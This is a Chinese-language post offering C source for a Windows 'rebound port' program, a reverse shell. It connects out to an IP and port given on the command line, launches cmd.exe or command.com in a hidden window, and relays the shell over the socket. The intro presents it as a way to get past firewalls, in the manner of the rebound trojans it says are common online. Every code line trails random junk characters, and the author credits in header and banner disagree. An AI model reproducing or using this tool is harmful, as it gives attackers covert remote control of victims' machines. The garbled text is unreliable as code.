这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d<: VoQM6M
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/* ============================== %VSST?aUvX
Rebound port in Windows NT [YJP
By wind,2006/7 ;>|:I(l;
===============================*/ '{U56^b]
#include ' J]V"Z)
#include &|Z:8]'P
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#pragma comment(lib,"wsock32.lib") pD.7ib^
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void OutputShell(); hRGK W
SOCKET sClient; ZYrd;9zB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U*v//@WbH
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void main(int argc,char **argv) a*74FVZo.;
{ I=Ws
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WSADATA stWsaData; ma?569Z8~0
int nRet; nN/v7^^
SOCKADDR_IN stSaiClient,stSaiServer; |~rDEv3
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if(argc != 3) kB"Sh_:m
{ E{Y0TZ+
printf("Useage:\n\rRebound DestIP DestPort\n"); ~SP.&>Q>
return; 8uS1HE\%
} d<(1^Rto
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WSAStartup(MAKEWORD(2,2),&stWsaData); :
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U:gE:t f
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stSaiClient.sin_family = AF_INET; :h*20iP
stSaiClient.sin_port = htons(0); x-CYG?-x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fx%'7/+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !);}zW!
{ :a#]"z0
printf("Bind Socket Failed!\n"); 9BNAj-Xa
return; 9%kY8#%SV
}
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stSaiServer.sin_family = AF_INET; f+%J=Am
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w0^( jMQe^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SECL(@0(^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :[|`&_D9J
{ wC'KI8-
printf("Connect Error!"); )|uPCZdLZ
return; 0ydAdgD
} +lO
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OutputShell(); bN<c5
} TBrAYEk
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void OutputShell() !ssE >bDa
{ <s]K~ Vo
char szBuff[1024]; ')Ozz<{
SECURITY_ATTRIBUTES stSecurityAttributes; 3=T<c?[
OSVERSIONINFO stOsversionInfo; m*CIbkDsZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Uu>YE0/)
STARTUPINFO stStartupInfo; =h5&\4r=
char *szShell; m\"M`o
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PROCESS_INFORMATION stProcessInformation; W4|1wd}.t
unsigned long lBytesRead; qSkt
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xb#x^?|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "&Q-'L!M'/
stSecurityAttributes.lpSecurityDescriptor = 0; 3vQ?vS|2
stSecurityAttributes.bInheritHandle = TRUE; |K aXek
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C.%iQx`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kOFEH!9&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vu^J'>X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g]X4)e]
stStartupInfo.wShowWindow = SW_HIDE; T/)$}#w0i
stStartupInfo.hStdInput = hReadPipe; 0*B_$E06
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uhQ3
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GetVersionEx(&stOsversionInfo); fnL!@WF
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switch(stOsversionInfo.dwPlatformId) @D[;$YEk
{ ^p|@{4f]
case 1: tG^Oj:
szShell = "command.com"; oopTo51,a
break; %D gU
default: 42U3>
szShell = "cmd.exe"; <4rF3 aB-
break; &nZ=w#_
} 75Jh(hd(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7I(Sa?D:
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send(sClient,szMsg,77,0); YOP=gvZq
while(1) OHp 121
{ )nQpO"+M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UMx>n18;f9
if(lBytesRead) Z-Bw?_e_K
{ z=n"cE[KtB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]Ol@^$8}
send(sClient,szBuff,lBytesRead,0); n&FN?"I/]
} ^[\F uSL
else ]*[S#Jk
{ 4K[U*-\"
lBytesRead=recv(sClient,szBuff,1024,0); p`33`25
if(lBytesRead<=0) break; \W??`?Idh
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tA}O'x
} $LF zpg
} NnrX64|0
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return; A5y?|q>5
}